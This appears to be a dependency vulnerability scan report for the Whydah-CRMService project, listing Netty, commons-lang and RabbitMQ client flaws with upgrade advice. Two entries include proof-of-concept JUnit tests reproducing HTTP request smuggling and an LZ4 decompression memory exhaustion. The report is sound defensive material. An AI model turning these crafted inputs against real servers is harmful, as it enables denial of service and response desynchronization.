Vulnerabilities

75 via 173 paths

Dependencies

134

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 75
  • 1
Severity
  • 3
  • 43
  • 28
  • 2
Status
  • 76
  • 0
  • 0

critical severity

Improper Certificate Validation

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-handler-ssl-ocsp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Improper Certificate Validation in the OcspClient.validateResponse. An attacker can bypass certificate revocation checks by replaying a legitimately signed OCSP response for a different certificate issued by the same certificate authority.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

critical severity

Improper Check for Certificate Revocation

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-handler-ssl-ocsp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the OcspServerCertificateValidator. An attacker can cause a revoked certificate to be accepted by replaying an expired OCSP response.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

critical severity

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-handler-ssl-ocsp@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the OcspServerCertificateValidator. An attacker can intercept sensitive application data or inject malicious responses by exploiting the window between the TLS handshake completion and the asynchronous OCSP validation result.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: commons-lang:commons-lang
  • Introduced through: org.constretto:constretto-spring@2.2.3

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.constretto:constretto-api@2.2.3 commons-lang:commons-lang@2.6
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService org.constretto:constretto-spring@2.2.3 org.constretto:constretto-core@2.2.3 org.constretto:constretto-api@2.2.3 commons-lang:commons-lang@2.6

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

There is no fixed version for commons-lang:commons-lang.

References

high severity

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-dns@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec-dns@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

Memory Allocation with Excessive Size Value

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the readBytes() method in src/main/java/com/rabbitmq/client/impl/ValueReader.java. An attacker can trigger a JVM OutOfMemoryError by sending an AMQP field or long string with a declared length that causes the reader to allocate a byte array before verifying that the frame actually contains that many bytes. The vulnerable code trusts the wire length prefix and creates new byte[(int)contentLength] for any value below Integer.MAX_VALUE. A malicious peer can supply a near-2GB length and crash the client process before readFully() can reject the frame.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.1 or higher.

References

high severity
new

Uncontrolled Recursion

  • Vulnerable module: com.rabbitmq:amqp-client
  • Introduced through: io.ratpack:ratpack-dropwizard-metrics@1.9.0

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.dropwizard.metrics:metrics-graphite@4.1.6 com.rabbitmq:amqp-client@5.5.3

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion in ValueReader table and array parsing. An attacker can crash the client JVM by sending a deeply nested AMQP field value, such as a connection.start frame containing recursively nested tables or arrays. The issue lives in src/main/java/com/rabbitmq/client/impl/ValueReader.java, where readTable() and readArray() recurse through readFieldValue() without any nesting limit. A malicious AMQP peer can trigger a StackOverflowError, killing the client’s I/O thread and causing a denial of service.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.1 or higher.

References

high severity

Infinite loop

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.netty:netty-all@4.2.11.Final, io.ratpack:ratpack-core@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.2.13.Final or higher.

References

high severity

Infinite loop

  • Vulnerable module: io.netty:netty-codec-compression
  • Introduced through: io.ratpack:ratpack-core@1.9.0, io.ratpack:ratpack-guice@1.9.0 and others

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final
  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.ratpack:ratpack-dropwizard-metrics@1.9.0 io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-resolver-dns-native-macos@4.2.11.Final io.netty:netty-resolver-dns-classes-macos@4.2.11.Final io.netty:netty-resolver-dns@4.1.63.Final io.netty:netty-codec@4.2.11.Final io.netty:netty-codec-compression@4.2.11.Final

Overview

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec-compression to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-haproxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HAProxyMessageDecoder. An attacker can cause unbounded memory allocation by sending a specially crafted PROXY protocol v2 binary prefix with a version byte of 0xFF, which collides with the decoder's sentinel value and leads to continuous accumulation of inbound bytes until memory is exhausted.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-haproxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the parsing process of nested PP2_TYPE_SSL TLVs within the HAProxy PROXY protocol v2 codec. An attacker can cause memory exhaustion by sending syntactically valid headers containing deeply nested PP2_TYPE_SSL TLVs, which leads to a memory leak as the underlying buffer remains pinned.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-haproxy@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.15.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through improper handling of TLV length in the readNextTLV function. An attacker can cause resource exhaustion and denial of service by sending a specially crafted HAProxy protocol message with a TLV length below the required minimum, leading to an unreleased retained slice and eventual memory leak.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.2.11.Final

Detailed paths

  • Introduced through: Cantara/Whydah-CRMService@Cantara/Whydah-CRMService io.netty:netty-all@4.2.11.Final io.netty:netty-codec-http@4.2.11.Final
    Remediation: Upgrade to io.netty:netty-all@4.2.16.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

